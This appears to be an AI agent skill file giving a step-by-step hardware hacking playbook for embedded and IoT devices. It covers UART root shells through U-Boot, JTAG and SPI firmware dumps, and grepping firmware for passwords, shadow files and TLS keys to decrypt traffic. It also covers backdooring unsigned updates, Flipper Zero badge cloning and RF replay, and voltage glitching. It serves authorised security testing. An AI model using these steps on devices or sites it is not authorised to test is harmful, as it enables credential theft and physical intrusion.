---
name: rt-hardware-hacking
description: "Hardware security testing skill for authorized engagements. JTAG/SWD debug port access and firmware extraction, UART console access for root shells, firmware analysis with binwalk and Ghidra, I2C/SPI EEPROM dumping, default credential testing on embedded devices, hardware fault injection (voltage glitching), chip-off NAND flash extraction, and Flipper Zero for RF/NFC/RFID attacks. Use when testing IoT devices, embedded systems, network equipment, or physical security hardware in authorized engagements."
---

# rt-hardware-hacking — Hardware Security & Embedded Systems

## Overview

Hardware hacking attacks the physical layer of devices — firmware, debug interfaces, and hardware protocols. IoT devices, routers, PLCs, and security hardware often have debug ports enabled, weak firmware protections, and hardcoded credentials.

**Required tools:** Multimeter, UART-USB adapter (CP2102/FTDI), JTAG programmer (J-Link/OpenOCD), logic analyzer, soldering iron, Flipper Zero.

---

## Phase 1 — Physical Interface Discovery

```bash
# Visual inspection — find debug ports on PCB
# Look for: 4-pin or 6-pin headers, test pads, labeled silkscreen (UART, JTAG, SWD, DEBUG)

# Common interfaces to look for:
# UART: 4 pins (VCC, GND, TX, RX) — usually 3.3V serial console
# JTAG: 20-pin or 10-pin header (TDI, TDO, TCK, TMS, TRST, GND)
# SWD: 2-pin (SWDIO, SWDCLK) — ARM Cortex debug
# I2C: 2-wire (SDA, SCL) — connects to EEPROM, sensors
# SPI: 4-wire (MOSI, MISO, SCK, CS) — flash memory
```

---

## Phase 2 — UART Console Access

```bash
# UART = Universal Asynchronous Receiver/Transmitter
# Often provides: bootloader access, root shell, debug output

# Step 1: Identify UART pins with multimeter
# VCC: ~3.3V or 5V constant
# GND: 0V constant
# TX: Fluctuates 0-3.3V during boot
# RX: Usually high (3.3V) when idle

# Step 2: Find baud rate
# Connect logic analyzer to TX pin → capture during boot
# Use sigrok/PulseView to decode
# Common rates: 115200, 57600, 38400, 9600

# Step 3: Connect UART-USB adapter
# Adapter RX → Device TX
# Adapter TX → Device RX
# GND → GND (NEVER connect VCC unless powering device)

# Step 4: Connect with minicom/screen
minicom -D /dev/ttyUSB0 -b 115200
screen /dev/ttyUSB0 115200

# Common results:
# U-Boot bootloader prompt: Hit any key to stop autoboot → full access
# Login prompt: try root/root, admin/admin, root/(blank)
# BusyBox shell: direct root access

# U-Boot exploitation
# At "Hit any key" prompt:
printenv        # See environment variables (contains passwords sometimes)
setenv bootargs "console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh"
boot            # Boot to root shell
```

---

## Phase 3 — JTAG Firmware Extraction

```bash
# JTAG = debug interface for processors
# Provides: halt CPU, read/write memory, extract firmware

# Connect J-Link or Bus Pirate to JTAG header
# Pin mapping (20-pin ARM JTAG):
# 1=VCC, 3=TRST, 5=TDI, 7=TMS, 9=TCK, 11=RTCK, 13=TDO, 15=RESET, 17-19=NC, 2,4,6,8,10,12,14,16,18,20=GND

# OpenOCD — open source JTAG/SWD tool
apt install openocd -y

# Config for common targets
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
# Or autodetect:
openocd -f interface/jlink.cfg -c "transport select jtag" -f target/auto.cfg

# In OpenOCD telnet (port 4444):
telnet localhost 4444
halt                                    # Stop CPU
dump_image firmware.bin 0x08000000 0x100000  # Dump flash
# Address varies by chip: 0x08000000 = STM32 flash start

# Read entire memory map
mdw 0x08000000 256    # Dump 256 words from address
```

---

## Phase 4 — SPI/I2C EEPROM Dumping

```bash
# EEPROM stores: firmware, credentials, certificates, encryption keys

# Identify chip: read markings, look up datasheet
# Common: Winbond W25Q series (SPI flash), AT24C series (I2C EEPROM)

# Method A: In-circuit with flashrom (SPI)
flashrom -p serprog:dev=/dev/ttyUSB0:115200 -r firmware.bin
flashrom -p ch341a_spi -r firmware.bin  # CH341A USB SPI programmer
flashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin  # Raspberry Pi SPI

# Method B: Chip-off (desolder + read externally)
# Desolder chip → place in programmer socket → read
# Programmer: TL866II Plus, T48, or CH341A

# Identify flash layout
binwalk firmware.bin
# Output:
# DECIMAL    HEX        DESCRIPTION
# 0          0x0        U-Boot bootloader
# 65536      0x10000    Linux kernel (gzip)
# 327680     0x50000    Squashfs filesystem

# Extract filesystem
binwalk -e firmware.bin
cd _firmware.bin.extracted/
# Find credentials
grep -r "password\|passwd\|admin\|root" squashfs-root/etc/
cat squashfs-root/etc/shadow
cat squashfs-root/etc/passwd

# Find hardcoded keys/certs
find squashfs-root/ -name "*.pem" -o -name "*.key" -o -name "*.crt" 2>/dev/null
```

---

## Phase 5 — Firmware Analysis

```bash
# After extraction with binwalk

# Find hardcoded credentials
grep -r "password\|passwd\|secret\|admin" squashfs-root/ --include="*.conf" --include="*.xml"
strings firmware.bin | grep -E "(admin|root|password)[=:]"

# Extract private keys
grep -r "BEGIN.*PRIVATE KEY" squashfs-root/
find squashfs-root/ -name "*.pem" -exec cat {} \;

# Find web interface credentials
find squashfs-root/ -name "htpasswd" -o -name "*.shadow"
cat squashfs-root/etc/lighttpd/lighttpd.conf | grep -i "password\|auth"

# Find SSL/TLS private keys (HTTPS decryption)
find squashfs-root/ -name "server.key" -o -name "ssl.key"
# Extract → use to decrypt captured HTTPS traffic in Wireshark

# Identify update mechanism (for firmware backdoor)
grep -r "firmware\|update\|upgrade" squashfs-root/usr/sbin/ 2>/dev/null
# Look for: unsigned update validation → can flash backdoored firmware

# Emulate firmware with QEMU
apt install qemu-user-static -y
file squashfs-root/bin/busybox  # Check architecture (MIPS, ARM, etc.)
chroot squashfs-root/ /bin/sh  # Emulate if same arch
# Or: firmadyne for full emulation
```

---

## Phase 6 — Flipper Zero Attacks

```bash
# Flipper Zero: Swiss Army knife for hardware/RF attacks

# RFID/NFC Badge Cloning (Physical Access)
# 125kHz (LF) badges: HID, EM4100 — common in older buildings
# Flipper: NFC → Read → saves to card file
# Flipper: NFC → Saved → Emulate → badge reader accepts it

# Common badge protocol reading
# 13.56MHz (HF): Mifare Classic, NTAG213
# flipper: NFC → Detect Reader → determine protocol
# Mifare Classic (many old systems): weak crypto → clone/clone

# Sub-GHz RF attacks
# Flipper: Sub-GHz → Frequency Analyzer → scan for device transmissions
# Record and replay: garage doors, parking barriers (rolling code: won't work; fixed code: works)
# Brute-force: Sub-GHz → Some Attack → try all codes for fixed-code systems

# IR (Infrared) — security cameras, access control panels
# Flipper: Infrared → Universal Remotes → test all codes
# Record target remote → replay

# GPIO + UART
# Connect Flipper GPIO to device UART → use as UART terminal
# Flipper: GPIO → USB-UART Bridge
```

---

## Phase 7 — Fault Injection / Voltage Glitching

```bash
# Brief voltage drop can cause CPU to skip instructions
# Common target: skip authentication check, disable secure boot

# Concept: drop VCC for ~100ns at precise moment during boot
# Equipment: ChipWhisperer (professional), Raspberry Pi Pico (DIY)

# ChipWhisperer basic glitch
import chipwhisperer as cw
scope = cw.scope()
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "glitch_only"
scope.glitch.trigger_src = "ext_single"
scope.glitch.width = 5     # Width in cycles
scope.glitch.offset = -45  # Timing offset
scope.arm()
# Trigger → scope fires glitch → observe if auth bypassed

# EMFI (Electromagnetic Fault Injection)
# Coil near target chip → EM pulse at right moment → same effect as voltage glitch
# Tools: Riscure EM probe, DIY ferrite core coil
```

---

## Skill Levels

**BEGINNER:** UART connection + default credentials · binwalk firmware extraction · Flipper Zero for RFID cloning

**INTERMEDIATE:** JTAG/SWD firmware dump with OpenOCD · SPI EEPROM extraction with flashrom · Firmware analysis for credentials

**ADVANCED:** Chip-off extraction + NAND flash reconstruction · U-Boot exploitation · Sub-GHz replay attacks

**EXPERT:** Voltage glitching for secure boot bypass · Custom JTAG scripts for proprietary chips · EMFI attacks

---

## References

- OpenOCD: https://openocd.org
- flashrom: https://flashrom.org
- binwalk: https://github.com/ReFirmLabs/binwalk
- Flipper Zero: https://flipperzero.one
- ChipWhisperer: https://github.com/newaetech/chipwhisperer
- OWASP IoT Attack Surface: https://owasp.org/www-project-internet-of-things/
- MITRE T0862: https://attack.mitre.org/techniques/T0862/
